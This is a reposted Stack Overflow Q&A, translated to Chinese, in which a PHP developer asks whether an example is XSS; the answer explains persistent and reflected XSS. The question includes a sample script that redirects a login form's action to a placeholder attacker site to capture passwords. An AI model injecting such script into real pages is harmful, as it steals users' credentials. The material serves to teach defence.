gpt4 book ai didi

php - 用户输入的带有 Javascript 的 HTML 显示给其他人但不是 HTML 转义的 XSS 示例

转载 作者:技术小花猫 更新时间:2023-10-29 12:41:28 25 4
gpt4 key购买 nike

我是一名 PHP 开发人员,我希望提高我网站的安全性。

据我了解,以下是影响 Web 应用程序的两种主要类型的漏洞:

  • SQL注入(inject)
  • 跨站攻击

可以使用准备好的语句修复 SQL 注入(inject) - 很简单。

但我还是不太明白 XSS——下面是 XSS 的例子吗?...

  • 充满用户制作内容的页面在顶部(全站范围)有一个登录表单。
  • 用户对页面的输入未经过 HTML 转义。
  • 用户将以下内容(例如评论)发布到页面...
A really nice comment

<!-- now an evil script (example here with jquery, but easily done without) --->
<script type="text/javascript">
$(document).ready(function() {
$('#login_form').attr('action','http://somehackysite.com/givemeyourpw.php');
});
</script>
  • 一个无辜的用户来到页面,脚本执行。
  • 无辜的用户意识到他们没有登录,并在表单中输入他们的详细信息。
  • 用户的详细信息被发送到 http://somehackysite.com/givemyourpw.php,然后用户的帐户详细信息被盗。

所以我在这里真的有三个问题:

  1. 这行得通吗?
  2. 这是 XSS 吗?
  3. 除了转义 HTML 之外,开发人员是否应该采取任何预防措施来防止 XSS?

最佳答案

XSS 攻击有两种类型:反射型 XSS 攻击和持久型 XSS 攻击。您所描述的网站用户输入的数据保存在服务器端,并为查看页面的任何人呈现,这被认为是持久性 XSS。类似的攻击是,如果你在一个没有转义 Javascript 的帖子上有一个评论框,或者一个我可以放入任何东西的个人资料页面。

另一类 XSS 攻击是反射 XSS。这些稍微复杂一些,但它们相当于未转义页面的 URL 中的参数之一。它们经常出现在大型网站的搜索页面中。您将获得一个包含一些 javascript 的 URL(抱歉,我的示例在这里被渲染器破坏了,所以我无法向您展示示例),并且该页面将呈现允许某人制作恶意代码的 javascript网址。这些在处理任何类型的财务数据的站点上尤其危险;想象一个尽职​​尽责的用户,他总是检查以确保他们将写入指向他们银行的链接,但是由于反射 XSS 攻击,攻击者能够将他们发送到他们银行网站上的合法页面,但该页面具有恶意里面的代码。

无论如何,您的示例是持久性 XSS。与仅仅更改登录表单向用户发送的位置相比,您可以使用此类攻击做更邪恶的事情。多年来,它们一直很受欢迎,例如从站点的个人区域抓取信息,或者与 CSRF 结合使经过身份验证的用户通过简单地查看页面来执行某些操作。前一段时间有一些 MySpace 病毒会这样做,并从个人资料传播到个人资料。

关于php - 用户输入的带有 Javascript 的 HTML 显示给其他人但不是 HTML 转义的 XSS 示例,我们在Stack Overflow上找到一个类似的问题: https://stackoverflow.com/questions/8963279/

25 4 0
Copyright 2021 - 2024 cfsdn All Rights Reserved 蜀ICP备2022000587号
广告合作:1813099741@qq.com 6ren.com